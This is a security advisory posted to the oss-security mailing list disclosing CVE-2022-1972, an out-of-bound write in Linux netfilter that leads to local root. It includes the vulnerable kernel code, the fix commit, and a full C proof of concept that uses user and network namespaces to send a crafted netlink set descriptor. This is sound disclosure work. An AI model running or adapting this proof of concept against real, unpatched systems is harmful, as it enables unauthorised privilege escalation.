|
Message-ID: <adc61777-4814-4426-9d6d-2a2af6d09426.zhangziming.zzm@antgroup.com> Date: Thu, 02 Jun 2022 10:21:36 +0800 From: "张子明(明程)" <zhangziming.zzm@...group.com> To: "oss-security" <oss-security@...ts.openwall.com> Subject: CVE-2022-1972: out-of-bound write in Linux netfilter subsystem leads to local privilege escalation Hello, An out-of-bound write vulnerability was identified within the netfilter subsystem which can be exploited to achieve privilege escalation to root. In order to trigger the issue it requires the ability to create user/net namespaces. this vulnerability comes from commit( https://github.com/torvalds/linux/commit/f3a2181e16f1dcbf5446ed43f6b5d9f56c459f85) This issue has been fixed within the following commit: https://git.kernel.org/pub/scm/linux/kernel/git/netdev/net.git/commit/?id=fecf31ee395b0295f2d7260aa29946b7605f7c85 we have confirmed it can be exploited for privilege escalation on Ubuntu 21.10 (Linux kernel 5.13.0-39-generic). # Vulnerability Details ```c static int nft_set_desc_concat_parse(const struct nlattr *attr, struct nft_set_desc *desc) { struct nlattr *tb[NFTA_SET_FIELD_MAX + 1]; u32 len; int err; err = nla_parse_nested_deprecated(tb, NFTA_SET_FIELD_MAX, attr, nft_concat_policy, NULL); .... len = ntohl(nla_get_be32(tb[NFTA_SET_FIELD_LEN])); if (len * BITS_PER_BYTE / 32 > NFT_REG32_COUNT) //content < 0x40 return -E2BIG; desc->field_len[desc->field_count++] = len; //oob write return 0; } ``` This will cause stack overflow, and the field_count field will be overwritten after the overflow occurs. It will cause stack overflow with controllable index. In the nf_tables_newset function ```c set->field_count = desc.field_count; for (i = 0; i < desc.field_count; i++) set->field_len[i] = desc.field_len[i]; //Because field_count is controlled, it will cause another out-of-bounds write problem ``` # POC Code poc.c gcc poc.c `pkg-config --cflags --libs libnl-3.0 libnl-genl-3.0` -lmnl -lnftnl -masm=intel -no-pie -o poc --no-warnings #define _GNU_SOURCE #include <sys/types.h> #include <arpa/inet.h> #include <linux/netfilter.h> #include <linux/netfilter/nfnetlink.h> #include <linux/netfilter/nf_tables.h> #include <libmnl/libmnl.h> #include <libnftnl/table.h> #include <libnftnl/chain.h> #include <libnftnl/rule.h> #include <libnftnl/expr.h> #include <libnftnl/set.h> #include <err.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <stdint.h> #include <string.h> #include <sys/ioctl.h> #include <sys/syscall.h> #include <sys/socket.h> #include <errno.h> #include <stdio.h> #include <unistd.h> #include <assert.h> #include <err.h> #include <errno.h> #include <fcntl.h> #include <inttypes.h> #include <sched.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <net/if.h> #include <netinet/in.h> #include <sys/ipc.h> #include <sys/msg.h> #include <sys/socket.h> #include <sys/syscall.h> #include <string.h> #include <stdlib.h> #include <errno.h> #include <sys/socket.h> #include <arpa/inet.h> #include <stddef.h> #include <stdlib.h> void make_payload(char *buf1){ int index=0; buf1[index]=8; index+=2; buf1[index]=1; index+=2; buf1[index]=0x00; buf1[index+1]=0x00; buf1[index+2]=0x00; buf1[index+3]=0x00; index+=4; buf1[index]=0xf8; buf1[index+1]=0x3; index+=2; buf1[index]=2; index+=2; for(int i=0;i<0x20;i++){ buf1[index]=0xc; //len index+=2; buf1[index]=0x1;//type index+=2; buf1[index]=0x8; index+=2; buf1[index]=0x1; buf1[index+5]=0x30; index+=6; } } int setup_sandbox(void) { if (unshare(CLONE_NEWUSER) < 0) { perror("[-] unshare(CLONE_NEWUSER)"); return -1; } if (unshare(CLONE_NEWNET) < 0) { perror("[-] unshare(CLONE_NEWNET)"); return -1; } cpu_set_t set; CPU_ZERO(&set); CPU_SET(1, &set); if (sched_setaffinity(getpid(), sizeof(set), &set) < 0) { perror("[-] sched_setaffinity"); return -1; } return 0; } int main(int argc, char **argv) { setup_sandbox();//Set the namespace struct nftnl_table *table = nftnl_table_alloc(); nftnl_table_set_str(table, NFTNL_TABLE_NAME, "x"); nftnl_table_set_u32(table, NFTNL_TABLE_FLAGS, 0); char buf[MNL_SOCKET_BUFFER_SIZE]; struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(buf, sizeof(buf)); int seq = 0; nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); mnl_nlmsg_batch_next(batch); struct nlmsghdr *nlh; nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, NFPROTO_NETDEV, 0, seq++); nftnl_table_nlmsg_build_payload(nlh, table); mnl_nlmsg_batch_next(batch); char buf1[0x900]; memset(buf1,0,0x800); make_payload(buf1);//Construction data trigger vulnerability nlh=nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSET, NFPROTO_NETDEV, NLM_F_CREATE, seq++); mnl_attr_put_strz(nlh,NFTA_SET_TABLE,"x"); mnl_attr_put_strz(nlh,NFTA_SET_NAME,"y"); mnl_attr_put_u32(nlh,NFTA_SET_KEY_LEN,0x04000000); mnl_attr_put_u32(nlh,NFTA_SET_ID,10); mnl_attr_put_u32(nlh,NFTA_SET_FLAGS,htonl(0)); int64_t user_data[0x100]; user_data[0]=0x12345678; user_data[1]=0x87654321; mnl_attr_put(nlh,NFTA_SET_USERDATA,0x8,user_data); mnl_attr_put(nlh,NFTA_SET_DESC,0x400,buf1); mnl_nlmsg_batch_next(batch); nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); mnl_nlmsg_batch_next(batch); struct mnl_socket *nl = mnl_socket_open(NETLINK_NETFILTER);//Send if (nl == NULL) { err(1, "mnl_socket_open"); } if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { err(1, "mnl_socket_send"); } return 0; } =*=*=*=*=*=*=*=*= Credit =*=*=*=*=*=*=*=*= ziming zhang(@ezrak1e) from Ant Group Light-Year Security Lab Best Regards, ziming
Powered by blists - more mailing lists
Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.
Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.